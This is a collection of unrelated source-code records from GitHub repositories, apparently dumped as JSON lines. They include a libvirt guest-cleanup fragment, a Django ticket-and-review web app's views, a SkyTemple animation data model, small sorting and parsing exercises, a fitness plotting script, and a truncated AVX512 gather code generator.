guest %s\" % guestname)\n                logger.error(\"%s\" % output)\n            else:\n                (status, output) = commands.getstatusoutput(VM_UNDEFINE % guestname)\n                if status:\n                    logger.error(\"failed to undefine guest %s\" % guestname)\n                    logger.error(\"%s\" % output)\n        else:\n            (status, output) = commands.getstatusoutput(VM_UNDEFINE % guestname)\n            if status:\n                logger.error(\"failed to undefine guest %s\" % guestname)\n                logger.error(\"%s\" % output)\n\n    guestos = params.get('guestos')\n    guestarch = params.get('guestarch')\n\n    envfile = os.path.join(HOME_PATH, 'usr/share/libvirt-test-api/config', 'global.cfg')\n\n    envparser = env_parser.Envparser(envfile)\n    iso_file = envparser.get_value(\"guest\", guestos + '_' + guestarch)\n\n    iso_local_path = prepare_iso(iso_file)\n    if os.path.exists(iso_local_path):\n        os.remove(iso_local_path)\n\n    iso_local_path_1 = iso_local_path + \".1\"\n    if os.path.exists(iso_local_path_1):\n        os.remove(iso_local_path_1)\n\n    cmd = \"mv -f %s %s-win\" % (diskpath, diskpath)\n    if os.path.exists(diskpath):\n        #os.remove(diskpath)\n        (status, output) = commands.getstatusoutput(cmd)\n        if status:\n            logger.error(\"failed to backup win guest\")\n            logger.error(\"%s\" % output)\n\n    if os.path.exists(FLOOPY_IMG):\n        os.remove(FLOOPY_IMG)\n","repo_name":"libvirt/libvirt-test-API","sub_path":"libvirttestapi/repos/installation/install_windows_cdrom.py","file_name":"install_windows_cdrom.py","file_ext":"py","file_size_in_byte":17717,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"}
{"seq_id":"41054056658","text":"import csv\n\nfilename = \"banknote_train.csv\"\nfilename2=\"banknote_test.csv\"\nwith open(filename, 'r') as csvfile:\n    csvreader = csv.reader(csvfile)\n    csvreader.next()\n\n    minmax = list()\n    colvalues1 = []\n    colvalues0= []\n    for row in csvreader:\n        colvalues0.append(float(row[0]))\n        colvalues1.append(float(row[1]))\n\n\n    minval = min(colvalues0)\n    maxval = max(colvalues0)\n    minmax.append([minval, maxval])\n    minval = min(colvalues1)\n    maxval = max(colvalues1)\n    minmax.append([minval, maxval])\n\n\nwith open(filename, 'r') as csvfile:\n    csvreader = csv.reader(csvfile)\n    csvreader.next()\n    for row in csvreader:\n        firstval= (float(row[0]) - minmax[0][0])/(minmax[0][1] -minmax[0][0])\n        secondval= (float(row[1]) - minmax[1][0])/(minmax[1][1] - minmax[1][0])\n        thirdval=row[2]\n\n        field =[firstval,secondval,thirdval]\n        with open('traindata.csv', 'a') as f:\n            writer = csv.writer(f)\n            writer.writerow(field)\n\n\n\nwith open(filename2, 'r') as csvfile:\n    csvreader = csv.reader(csvfile)\n    for row in csvreader:\n        firstval= (float(row[0]) - minmax[0][0])/(minmax[0][1] -minmax[0][0])\n        secondval= (float(row[1]) - minmax[1][0])/(minmax[1][1] - minmax[1][0])\n        thirdval=row[2]\n\n        field =[firstval,secondval,thirdval]\n        with open('testdata.csv', 'a') as f:\n            writer = csv.writer(f)\n            writer.writerow(field)\n\n\n","repo_name":"krnch/machine_learning_nyu","sub_path":"knn/scaledata.py","file_name":"scaledata.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34347082424","text":"def left_to_right(lr_list,pivot_index):\r\n    pointer=0\r\n    while(lr_list[pointer]<lr_list[pivot_index] and pointer!=pivot_index): #loop will exit when left element is Greater than Pivot Element\r\n        pointer+=1                       \r\n    if(pointer==pivot_index):\r\n       #pivot_index is at corrct position\r\n      \r\n       if(pointer>0):\r\n           lr_list[0:pointer]= right_to_left(lr_list[0:pointer],0)\r\n      \r\n       lr_list[pointer+1:]=right_to_left(lr_list[pointer+1:],0)\r\n    else:\r\n        #swap(a[t],a[pivot_index])\r\n        lr_list[pointer],lr_list[pivot_index]=lr_list[pivot_index],lr_list[pointer]\r\n        print(lr_list,\" swaped \",lr_list[pointer],\" and \",lr_list[pivot_index])\r\n        lr_list=right_to_left(lr_list,pointer)\r\n    return lr_list\r\n\r\ndef right_to_left(rl_list,pivot_index):\r\n    t=len(rl_list)-1\r\n    \r\n    if(len(rl_list)<=1):\r\n        \r\n        return rl_list\r\n    \r\n    while(rl_list[t]>rl_list[pivot_index] and t!=pivot_index):\r\n        t-=1\r\n     \r\n    if(t==pivot_index):\r\n        #pivot_index is at corrct position\r\n      \r\n       if(t>0): \r\n           rl_list[0:t]= right_to_left(rl_list[0:t],0)\r\n       \r\n       rl_list[t+1:]=right_to_left(rl_list[t+1:],0)\r\n       \r\n    else:\r\n        #swap(a[t],a[pivot_index])\r\n        rl_list[t],rl_list[pivot_index]=rl_list[pivot_index],rl_list[t]\r\n        print(rl_list,\" swaped \",rl_list[t],\" and \",rl_list[pivot_index])\r\n        rl_list=left_to_right(rl_list,t)\r\n    return rl_list\r\n\r\nuser_inp=input(\"Enter the Elements of list for Quick Sort : \")\r\ninput_list = list(map(int, user_inp.split()))\r\noutput_list=right_to_left(input_list,0)\r\nprint(\"sorted List is: \")\r\nprint(output_list)","repo_name":"shubham09asthana/QuickSort","sub_path":"quickSort.py","file_name":"quickSort.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23860128115","text":"from itertools import chain\n\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.models import User\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.db.models import Q\n\nfrom criticizes.forms import TicketForm, ReviewForm, UserFollowsForm\nfrom criticizes.models import UserFollows, Ticket, Review\n\n\n# ------ Création d'un ticket (demande de critique), page tickets.html ------\n@login_required\ndef ticket_view(request):\n    \"\"\"Permet la création d'un ticket.\"\"\"\n    if request.method == \"POST\":\n        form = TicketForm(request.POST, request.FILES)\n        if form.is_valid():\n            # print(form.cleaned_data)\n            # print(request.user)\n            ticket = form.save(commit=False)\n            ticket.user = request.user\n            ticket.save()\n            return HttpResponseRedirect(reverse('criticizes:flux'))\n\n    else:\n        form = TicketForm()\n\n    return render(request, \"criticizes/tickets.html\", {\"form\": form})\n\n\n# ------ Modification du ticket, page ticket_update.html ------\n@login_required\ndef update_ticket_view(request, ticket_pk):\n    \"\"\"Permet la modification d'un ticket.\"\"\"\n\n    if ticket_pk != \"\":\n        ticket_needing_update = get_object_or_404(Ticket, id=ticket_pk)\n\n    if request.method == \"POST\":\n        form = TicketForm(request.POST, request.FILES)\n        if form.is_valid():\n            new_datas = form.cleaned_data\n            form.save(commit=False)\n            ticket_needing_update.title = new_datas.get(\"title\")\n            ticket_needing_update.description = new_datas.get(\"description\")\n            if new_datas.get(\"image\"):\n                ticket_needing_update.image = new_datas.get(\"image\")\n            ticket_needing_update.user = request.user\n            ticket_needing_update.save()\n\n            return HttpResponseRedirect(reverse('criticizes:flux'))\n    else:\n        form = TicketForm(initial={\"title\": ticket_needing_update.title,\n                                   \"description\": ticket_needing_update.description,\n                                   \"image\": ticket_needing_update.image})\n\n    context = {\n        \"form\": form, \"initial_image\": ticket_needing_update.image.url,\n    }\n\n    return render(request, \"criticizes/tickets_update.html\", context)\n\n\n# ------ Suppression d'un ticket, page ticket_confirm_delete.html ------\ndef confirmation_delete_ticket(request, ticket_pk=\"\"):\n    \"\"\"Affiche un message de confirmation de suppression du ticket.\"\"\"\n    previous_page = request.META.get('HTTP_REFERER', '/')\n\n    # Recherche de la ligne correspondante à la PK dans la BD\n    ticket_for_deletion = get_object_or_404(Ticket, id=ticket_pk)\n\n    return render(request, \"criticizes/ticket_confirm_delete.html\",\n                  {\"ticket\": ticket_for_deletion, 'previous_page': previous_page})\n\n\ndef delete_ticket(request, ticket_pk=\"\"):\n    \"\"\"Supprime le ticket dans le table Ticket par la suppression de la PK de\n    l'enregistrement.\"\"\"\n\n    ticket_for_deletion = get_object_or_404(Ticket, id=ticket_pk)\n    ticket_for_deletion.delete()\n\n    return HttpResponseRedirect(reverse('criticizes:flux'))\n\n\n# ------ Création de la review(en réponse à un ticket), page criticism.html ------\n@login_required\ndef review_view(request, ticket_pk=\"\"):\n    \"\"\"Permet la création d'une critique en réponse au ticket affiché.\"\"\"\n    ticket_needing_answer = get_object_or_404(Ticket, id=ticket_pk)\n    # print(ticket_needing_answer)\n    # Affiche le formulaire de réponse (notation)\n    # Solution selon TH Udemy\n    if request.method == \"POST\":\n        form = ReviewForm(request.POST)\n        if form.is_valid():\n            # print(form.cleaned_data)\n            review = form.save(commit=False)\n            review.ticket = ticket_needing_answer\n            review.user = request.user\n            review.save()\n\n            return HttpResponseRedirect(reverse('criticizes:flux'))\n    else:\n        form = ReviewForm()\n\n    context = {\n        \"ticket_needing_answer\": ticket_needing_answer,\n        \"form\": form,\n    }\n\n    return render(request, \"criticizes/criticism.html\", context)\n\n\n# ------ Modification de la review, page criticism_update.html ------\n@login_required\ndef update_review_view(request, review_pk=\"\"):\n    \"\"\"Permet la modification d'une critique.\"\"\"\n    if review_pk != \"\":\n        # Récupère la review concernée\n        review_needing_update = get_object_or_404(Review, id=review_pk)\n        # Récupère la clé du ticket associé\n        ticket_linked = review_needing_update.ticket.pk\n        # Récupère le ticket concerné pour affichage\n        ticket_needing_answer = get_object_or_404(Ticket, id=ticket_linked)\n\n    # Affiche le formulaire de réponse (notation)\n    # Solution selon TH Udemy\n    if request.method == \"POST\":\n        form = ReviewForm(request.POST)\n        if form.is_valid():\n            new_datas = form.cleaned_data\n            form.save(commit=False)\n            review_needing_update.headline = new_datas.get(\"headline\")\n            review_needing_update.rating = new_datas.get(\"rating\")\n            review_needing_update.body = new_datas.get(\"body\")\n            review_needing_update.save()\n\n            return HttpResponseRedirect(reverse('criticizes:flux'))\n    else:\n        form = ReviewForm(initial={\"headline\": review_needing_update.headline,\n                                   \"rating\": review_needing_update.rating,\n                                   \"body\": review_needing_update.body})\n\n    context = {\n        \"ticket_needing_answer\": ticket_needing_answer,\n        \"form\": form,\n    }\n\n    return render(request, \"criticizes/criticism_update.html\", context)\n\n\n# ------ Création d'une critique, review(sans réponse à un ticket),\n# page criticism_direct.html ------\n@login_required\ndef review_direct_view(request):\n    \"\"\"Permet la création d'une critique en direct sans réponse à un ticket.\"\"\"\n    # Intègre les deux formulaires\n\n    review_form = ReviewForm()\n    ticket_form = TicketForm()\n\n    # Affiche le formulaire de création du ticket\n    if request.method == \"POST\":\n        ticket_form = TicketForm(request.POST, request.FILES)\n        review_form = ReviewForm(request.POST)\n        if ticket_form.is_valid() and review_form.is_valid():\n            ticket_datas = ticket_form.cleaned_data\n            ticket = ticket_form.save(commit=False)\n            ticket.user = request.user\n            ticket.save()\n            ticket_recorded = Ticket.objects.last()\n            review = review_form.save(commit=False)\n            review.ticket = ticket_recorded\n            review.user = request.user\n            review.save()\n\n            return HttpResponseRedirect(reverse('criticizes:flux'))\n\n    else:\n        ticket_form = TicketForm()\n        review_form = ReviewForm()\n\n    context = {\n        \"ticket_form\": ticket_form,\n        \"review_form\": review_form,\n    }\n\n    return render(request, \"criticizes/criticism_direct.html\", context)\n\n\n# ------ Suppression d'une critique, page review_confirm_delete.html ------\ndef confirmation_delete_review(request, review_pk=\"\"):\n    \"\"\"Affiche un message de confirmation de suppression de la critique.\"\"\"\n\n    # renverra la page précédente\n    previous_page = request.META.get('HTTP_REFERER', '/')\n\n    # Recherche de la ligne correspondante à la PK dans la BD\n    review_for_deletion = get_object_or_404(Review, id=review_pk)\n\n    return render(request, \"criticizes/criticism_confirm_delete.html\",\n                  {\"review\": review_for_deletion, 'previous_page': previous_page})\n\n\ndef delete_review(request, review_pk=\"\"):\n    \"\"\"Supprime la critique dans le table Review par la suppression de la PK de\n    l'enregistrement.\"\"\"\n\n    review_for_deletion = get_object_or_404(Review, id=review_pk)\n    review_for_deletion.delete()\n\n    return HttpResponseRedirect(reverse('criticizes:flux'))\n\n\n# ------ Suivi d'un utilisateur, page followers.html ------\n@login_required\ndef user_follow_view(request):\n    \"\"\"Affiche un champ de texte pour y indiquer le nom de l'utilisateur à\n    suivre, ainsi que les abonnements et les abonnés sur la page\n    followers.html.\"\"\"\n    # Pour alimenter abonnements et abonnés (sections 2 et 3)\n    pk_connected_user = request.user.pk\n    followed_by_user = request.user.following.all()\n    user_followed_by = UserFollows.objects.filter(followed_user=pk_connected_user)\n\n    # Pour afficher la saisie de l'utilisateurs à suivre (section 1)\n    if request.method == \"POST\":\n        form = UserFollowsForm(request.POST)\n        if form.is_valid():\n            data = form.cleaned_data\n            # print(data)\n            # print(request.user)\n            follower = User.objects.get(username=request.user)\n            followed = User.objects.get(username=data.get('searched_user_name'))\n            # recherche des enregistrement qui ont pour user follower\n            datas_followers_models = UserFollows.objects.filter(user=follower)\n            # si parmi ces lignes, followed = followed_user, alors print\n            for data in datas_followers_models:\n                if data.followed_user.pk == followed.pk:\n                    # source https://docs.djangoproject.com/fr/3.2/ref/contrib/messages/\n                    messages.add_message(request, messages.INFO, \"L'utilisateur est déjà suivi.\")\n                    # pour éviter le popup \"ressoumètre le formulaire\"\n                    return HttpResponseRedirect(request.path)\n                elif followed == follower:\n                    messages.add_message(request, messages.INFO, \"Vous ne pouvez pas vous suivre.\")\n                    # pour éviter le popup \"ressoumètre le formulaire\"\n                    return HttpResponseRedirect(request.path)\n\n                else:\n                    relation = UserFollows(user=follower, followed_user=followed)\n\n            relation.save()\n\n    else:\n        form = UserFollowsForm()\n\n    template = 'criticizes/followers.html'\n    context = {\"form\": form, 'followed_by_user': followed_by_user,\n               'user_followed_by': user_followed_by}\n    return render(request, template, context)\n\n\ndef delete_subscription(request):\n    \"\"\"Supprime l'abonnement dans le table UserFollows par la suppression de la\n    PK de l'enregistrement collecté depuis la page html et de la donnée issue\n    de def list_followers.\"\"\"\n    pk_in_database = request.POST.get('primary_key_of_subscription')\n    # Recherche de la ligne correspondante à la PK dans la BD\n    recording_in_UserFollows = UserFollows.objects.get(pk=pk_in_database)\n    # suppression dans la BD\n    recording_in_UserFollows.delete()\n    return redirect('criticizes:user_follow')\n\n\n# ------ page flux.html ------\n@login_required\ndef flux_ticket_review(request):\n    # User connecté :\n    pk_connected_user = request.user.pk\n    # Utilisateurs suivis par le user connecté :\n    followed_by_user = request.user.following.all()\n    # Création d'une liste avec les PK des utilisateurs suivis\n    users_followed = []\n    for i in followed_by_user:\n        users_followed.append(i.followed_user.pk)\n\n    # Combinaison des deux filtres, tickets de User et de ceux des utilisateurs suivis\n    tickets = Ticket.objects.filter(Q(user=pk_connected_user) | Q(user__in=users_followed))\n    # J'isole les tickets de l'utilisateur connecté pour pouvoir les récupérer dans les critiques\n    # dans le cas où une personne non suivie par l'utilisateur y a répondu\n    tickets_from_user_connected = []\n    tickets_2 = Ticket.objects.filter(user=pk_connected_user)\n    for t in tickets_2:\n        tickets_from_user_connected.append(t.pk)\n    # Combinaisons des filtres dans les critiques\n    reviews = Review.objects.filter(Q(user=pk_connected_user) | Q(user__in=users_followed) |\n                                    Q(ticket__in=tickets_from_user_connected))\n\n    # création d'une liste des tickets ayant reçus une critique.\n    # cette liste est utilisée dans ticket_snippet.html pour n'afficher le bouton\n    # \"créer une critique\" que pour les tickets qui ne sont pas dedans\n    tickets_followed = []\n    for ticket in reviews:\n        tickets_followed.append(ticket.ticket.pk)\n\n    tickets_and_reviews = sorted(chain(tickets, reviews),\n                                 key=lambda instance: instance.time_created, reverse=True)\n\n    paginator = Paginator(tickets_and_reviews, 6)\n    page = request.GET.get('page')\n\n    page_obj = paginator.get_page(page)\n\n    template = 'criticizes/flux.html'\n    context = {'page_obj': page_obj, 'tickets_followed': tickets_followed}\n\n    return render(request, template, context=context)\n\n\n# ------ page posts.html ------\n@login_required\ndef posts_ticket_review(request):\n    tickets = Ticket.objects.filter(user=request.user)\n    reviews = Review.objects.filter(user=request.user)\n\n    tickets_and_reviews = sorted(chain(tickets, reviews),\n                                 key=lambda instance: instance.time_created, reverse=True)\n\n    paginator = Paginator(tickets_and_reviews, 6)\n    page = request.GET.get('page')\n\n    page_obj = paginator.get_page(page)\n\n    template = 'criticizes/posts.html'\n    context = {'page_obj': page_obj}\n    return render(request, template, context=context)\n","repo_name":"C22660/LITReview","sub_path":"src/criticizes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7227070020","text":"# -*- coding:utf-8 -*-\na = list('abcdefghijklmnopqrstuvwxyz')\nS = list(input())\nb = list(set(S))\nfor tmp in b:\n    a.pop(a.index(tmp))\nif len(a) == 0:\n    print(\"None\")\nelse:\n    print(a.pop(0))\n","repo_name":"Lischero/Atcoder","sub_path":"ABC071/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10759336014","text":"from __future__ import annotations\n\nfrom enum import Enum\nfrom typing import List\n\nfrom range_typed_integers import u16, u8, u32, i32\n\nfrom skytemple_files.common.i18n_util import _\nfrom skytemple_files.common.util import (\n    AutoString,\n    write_u32,\n    read_i32,\n    read_u8,\n    write_i32,\n    read_u16,\n    write_u16,\n    read_u32,\n    write_u8,\n)\nfrom skytemple_files.data.anim import (\n    GENERAL_DATA_SIZE,\n    MOVE_DATA_SIZE,\n    TRAP_DATA_SIZE,\n    ITEM_DATA_SIZE,\n    SPECIAL_MOVE_DATA_SIZE,\n)\n\n\nclass AnimPointType(Enum):\n    HEAD = 0x00, _(\"Head\")\n    LEFT_HAND = 0x01, _(\"Left Hand\")\n    RIGHT_HAND = 0x02, _(\"Right Hand\")\n    CENTER = 0x03, _(\"Center\")\n    NONE = 0xFF, _(\"None\")\n\n    def __new__(cls, *args, **kwargs):  # type: ignore\n        obj = object.__new__(cls)\n        obj._value_ = args[0]\n        return obj\n\n    # ignore the first param since it's already set by __new__\n    def __init__(self, _: int, description: str):\n        self.description = description\n\n\nclass AnimType(Enum):\n    INVALID = 0x00, _(\"Invalid\")\n    WAN_FILE0 = 0x01, _(\"WAN File 0\")\n    WAN_FILE1 = 0x02, _(\"WAN File 1\")\n    WAN_OTHER = 0x03, _(\"WAN\")\n    WAT = 0x04, _(\"WAT\")\n    SCREEN = 0x05, _(\"Screen\")\n    WBA = 0x06, _(\"WBA\")\n\n    def __new__(cls, *args, **kwargs):  # type: ignore\n        obj = object.__new__(cls)\n        obj._value_ = args[0]\n        return obj\n\n    # ignore the first param since it's already set by __new__\n    def __init__(self, _: int, description: str):\n        self.description = description\n\n\nclass TrapAnim(AutoString):\n    anim: u16\n\n    def __init__(self, data: bytes):\n        self.anim = read_u16(data, 0)\n\n    def to_bytes(self):\n        data = bytearray(TRAP_DATA_SIZE)\n        write_u16(data, self.anim, 0)\n        return data\n\n\nclass ItemAnim(AutoString):\n    anim1: u16\n    anim2: u16\n\n    def __init__(self, data: bytes):\n        self.anim1 = read_u16(data, 0)\n        self.anim2 = read_u16(data, 2)\n\n    def to_bytes(self):\n        data = bytearray(ITEM_DATA_SIZE)\n        write_u16(data, self.anim1, 0)\n        write_u16(data, self.anim2, 2)\n        return data\n\n\nclass MoveAnim(AutoString):\n    anim1: u16\n    anim2: u16\n    anim3: u16\n    anim4: u16\n    dir: int\n    flag1: bool\n    flag2: bool\n    flag3: bool\n    flag4: bool\n    speed: u32\n    animation: u8\n    point: AnimPointType\n    sfx: u16\n    spec_entries: u16\n    spec_start: u16\n\n    def __init__(self, data: bytes):\n        self.anim1 = read_u16(data, 0)\n        self.anim2 = read_u16(data, 2)\n        self.anim3 = read_u16(data, 4)\n        self.anim4 = read_u16(data, 6)\n        flags = read_u32(data, 8)\n        self.dir = flags & 0x7\n        self.flag1 = bool(flags & 0x8)\n        self.flag2 = bool(flags & 0x10)\n        self.flag3 = bool(flags & 0x20)\n        self.flag4 = bool(flags & 0x40)\n        self.speed = read_u32(data, 12)\n        self.animation = read_u8(data, 16)\n        self.point = AnimPointType(read_u8(data, 17))  # type: ignore\n        self.sfx = read_u16(data, 18)\n        self.spec_entries = read_u16(data, 20)\n        self.spec_start = read_u16(data, 22)\n\n    def to_bytes(self):\n        data = bytearray(MOVE_DATA_SIZE)\n        write_u16(data, self.anim1, 0)\n        write_u16(data, self.anim2, 2)\n        write_u16(data, self.anim3, 4)\n        write_u16(data, self.anim4, 6)\n        flags = (\n            self.dir\n            | (int(self.flag1) << 3)\n            | (int(self.flag2) << 4)\n            | (int(self.flag3) << 5)\n            | (int(self.flag4) << 6)\n        )\n        write_u32(data, u32(flags), 8)\n        write_u32(data, self.speed, 12)\n        write_u8(data, self.animation, 16)\n        write_u8(data, self.point.value, 17)\n        write_u16(data, self.sfx, 18)\n        write_u16(data, self.spec_entries, 20)\n        write_u16(data, self.spec_start, 22)\n        return data\n\n\nclass GeneralAnim(AutoString):\n    anim_type: AnimType\n    anim_file: u32\n    unk1: u32\n    unk2: u32\n    sfx: i32\n    unk3: u32\n    u8: bool\n    point: AnimPointType\n    unk5: bool\n    loop: bool\n\n    def __init__(self, data: bytes):\n        self.anim_type = AnimType(read_u32(data, 0))  # type: ignore\n        self.anim_file = read_u32(data, 4)\n        self.unk1 = read_u32(data, 8)\n        self.unk2 = read_u32(data, 12)\n        self.sfx = read_i32(data, 16)\n        self.unk3 = read_u32(data, 20)\n        self.unk4 = bool(read_u8(data, 24))\n        self.point = AnimPointType(read_u8(data, 25))  # type: ignore\n        self.unk5 = bool(read_u8(data, 26))\n        self.loop = bool(read_u8(data, 27))\n\n    def to_bytes(self):\n        data = bytearray(GENERAL_DATA_SIZE)\n        write_u32(data, self.anim_type.value, 0)\n        write_u32(data, self.anim_file, 4)\n        write_u32(data, self.unk1, 8)\n        write_u32(data, self.unk2, 12)\n        write_i32(data, self.sfx, 16)\n        write_u32(data, self.unk3, 20)\n        write_u8(data, u8(int(self.unk4)), 24)\n        write_u8(data, self.point.value, 25)\n        write_u8(data, u8(int(self.unk5)), 26)\n        write_u8(data, u8(int(self.loop)), 27)\n        return data\n\n\nclass SpecMoveAnim(AutoString):\n    pkmn_id: u16\n    animation: u8\n    point: AnimPointType\n    sfx: u16\n\n    def __init__(self, data: bytes):\n        self.pkmn_id = read_u16(data, 0)\n        self.animation = read_u8(data, 2)\n        self.point = AnimPointType(read_u8(data, 3))  # type: ignore\n        self.sfx = read_u16(data, 4)\n\n    def to_bytes(self):\n        data = bytearray(SPECIAL_MOVE_DATA_SIZE)\n        write_u16(data, self.pkmn_id, 0)\n        write_u8(data, self.animation, 2)\n        write_u8(data, self.point.value, 3)\n        write_u16(data, self.sfx, 4)\n        return data\n\n\nclass Anim(AutoString):\n    trap_table: List[TrapAnim]\n    item_table: List[ItemAnim]\n    move_table: List[MoveAnim]\n    general_table: List[GeneralAnim]\n    special_move_table: List[SpecMoveAnim]\n\n    def __init__(self, data: bytes):\n        if not isinstance(data, memoryview):\n            data = memoryview(data)\n        trap_table_ptr = read_u32(data, 0)\n        item_table_ptr = read_u32(data, 4)\n        move_table_ptr = read_u32(data, 8)\n        general_table_ptr = read_u32(data, 12)\n        special_move_table_ptr = read_u32(data, 16)\n\n        self.trap_table = []\n        for x in range(trap_table_ptr, item_table_ptr, TRAP_DATA_SIZE):\n            self.trap_table.append(TrapAnim(data[x : x + TRAP_DATA_SIZE]))\n        self.item_table = []\n        for x in range(item_table_ptr, move_table_ptr, ITEM_DATA_SIZE):\n            self.item_table.append(ItemAnim(data[x : x + ITEM_DATA_SIZE]))\n        self.move_table = []\n        for x in range(move_table_ptr, general_table_ptr, MOVE_DATA_SIZE):\n            self.move_table.append(MoveAnim(data[x : x + MOVE_DATA_SIZE]))\n        self.general_table = []\n        for x in range(general_table_ptr, special_move_table_ptr, GENERAL_DATA_SIZE):\n            self.general_table.append(GeneralAnim(data[x : x + GENERAL_DATA_SIZE]))\n        self.special_move_table = []\n        for x in range(special_move_table_ptr, len(data), SPECIAL_MOVE_DATA_SIZE):\n            self.special_move_table.append(\n                SpecMoveAnim(data[x : x + SPECIAL_MOVE_DATA_SIZE])\n            )\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Anim):\n            return False\n        return (\n            self.trap_table == other.trap_table\n            and self.item_table == other.item_table\n            and self.move_table == other.move_table\n            and self.general_table == other.general_table\n            and self.special_move_table == other.special_move_table\n        )\n","repo_name":"SkyTemple/skytemple-files","sub_path":"skytemple_files/data/anim/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7588,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"4344901721","text":"#evaluation of postfix expression\nclass Evaluate:\n    def __init__(self):\n        self.stack = []\n\n    def isDigit(self, digit):\n        if ord(digit) >= 48 and ord(digit) <= 57:\n            return 1\n        else:\n            return 0\n\n    def evaluatepostfix(self, exp):\n        for i in range(len(exp)):\n            if self.isDigit(exp[i]):\n                self.stack.append(exp[i])\n            elif exp[i] == \" \":\n                pass\n            else:\n                op2 = self.stack.pop()\n                op1 = self.stack.pop()\n                op = str(eval(op1 + exp[i] + op2))\n                self.stack.append(op)\n        \n        return self.stack.pop()\n        #or return self.stack[-1]\n\nif __name__ == \"__main__\":\n    \n    exp = input(\"Enter postfix expression to evaluate : \")\n    ev = Evaluate()\n    print(ev.evaluatepostfix(exp))","repo_name":"tirth23/python-practice","sub_path":"ADTStack/evalofpostfix1.py","file_name":"evalofpostfix1.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41169078542","text":"import matplotlib.pyplot as plt\nimport json\nimport numpy as np\n\nfolder_name = \"50k_pure_hervor\"\nf = open(f'../_data_archive/instances/{folder_name}/training_stats.txt', 'r')\n\ntext = f.read()[1:-1].split('][')\nchaser_avg = []\nhervor_avg = []\n\nprint(len(text))\n\nfor x in text:\n    sp = x.split('},{')\n    hervor = json.loads(sp[0] + \"}\")\n    chaser = json.loads(\"{\" + sp[1])\n    hervor_avg.append(hervor[\"avg_fitness\"])\n    chaser_avg.append(chaser[\"avg_fitness\"])\n\nwindow = 100\naverage = []\nfor ind in range(len(hervor_avg) - window + 1):\n    average.append(np.average(hervor_avg[ind:ind+window]))\n\nplt.plot(range(len(hervor_avg)), hervor_avg)\nplt.plot(range(len(hervor_avg) - window + 1), average)\nplt.title(\"Hervor average fitness\")\nplt.show()\n\nwindow = 100\naverage = []\nfor ind in range(len(chaser_avg) - window + 1):\n    average.append(np.average(chaser_avg[ind:ind+window]))\n\nplt.plot(range(len(chaser_avg)), chaser_avg)\nplt.plot(range(len(chaser_avg) - window + 1), average)\nplt.title(\"Chaser average fitness\")\nplt.show()","repo_name":"hiddenMedic/rustyChasers","sub_path":"py_gen_plotter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35522233062","text":"import sys\nimport Get_size_type\n\"\"\"\n__m512i _mm512_i32extgather_epi32 (__m512i index, void const * mv, _MM_UPCONV_EPI32_ENUM conv, int scale, int hint)\n\n\n__m512 _mm512_i32extgather_ps (__m512i index, void const * mv, _MM_UPCONV_PS_ENUM conv, int scale, int hint)\n\n__m512d _mm512_i32loextgather_pd (__m512i index, void const * mv, _MM_UPCONV_PD_ENUM conv, int scale, int hint)\n\n\"\"\"\n\nAVX512_index_type={'MPI_FLOAT': '__m512i', 'MPI_INT': '__m512i', 'MPI_DOUBLE': '__m256i'}\nAVX512_type={'MPI_FLOAT': '__m512', 'MPI_INT': '__m512i', 'MPI_DOUBLE': '__m512d'}\nAVX512_to_C={'MPI_FLOAT': 'ps', 'MPI_INT': 'epi32', 'MPI_DOUBLE': 'pd'}\nAVX512_UPCONV={'MPI_FLOAT': '_MM_UPCONV_PS_NONE', 'MPI_INT': '_MM_UPCONV_EPI32_NONE', 'MPI_DOUBLE': '_MM_UPCONV_PD_NONE'}\n\nclass AVX512_gather(object):\n    def __init__(self, offsets, MPI_TYPE):\n        self.offsets = offsets\n        self.MPI_TYPE = MPI_TYPE\n\ninit_vars = \"\"\"\n    // Scale need to be 4 for float , 8 for double\n    %(512_INDEX)s index;\n    %(512_TYPE)s gathered_vector;\n\"\"\"\n\ngather_ins = \"\"\"\n    //index  =  _mm512_loadu_si512(offsets+%(NUMBER_OF_GATHER)s*%(ELEM_IN_VEC)s);\n    //gathered_vector = _mm512_i32extgather_%(512_TO_C)s( index, src, %(512_UPCONV)s, 4, 0 );\n    for(i=0;i<%(NUMBER_OF_GATHER)s;i++){\n        index = _mm512_loadu_si512(offsets+i*%(ELEM_IN_VEC)s);\n        //gathered_vector = _mm512_i32extgather_%(512_TO_C)s( index, src, %(512_UPCONV)s, 4, 0 );\n        gathered_vector = _mm512_i32gather_%(512_TO_C)s( index, src, 4);\n        _mm512_store_%(512_TO_C)s(dst,gathered_vector);\n        dst += %(ELEM_IN_VEC)s;\n     }\n\"\"\"\n\nscatter_ins = \"\"\"\n    for(i=0;i<%(NUMBER_OF_GATHER)s;i++){\n        index = _mm512_loadu_si512(offsets+i*%(ELEM_IN_VEC)s);\n        gathered_vector = _mm512_load_epi32(src)\n        //_mm512_store_%(512_TO_C)s(src,gathered_vector);\n        _mm512_mask_i32scatter_epi32 (dst, index, gathered_vector, 4);\n       dst += %(ELEM_IN_VEC)s;\n    }\n\"\"\"\n\ndouble_gather_ins = \"\"\"\n    for(i=0;i<%(NUMBER_OF_GATHER)s;i++){\n    index = _mm256_loadu_si256(offsets+i*%(ELEM_IN_VEC)s);\n    //index = 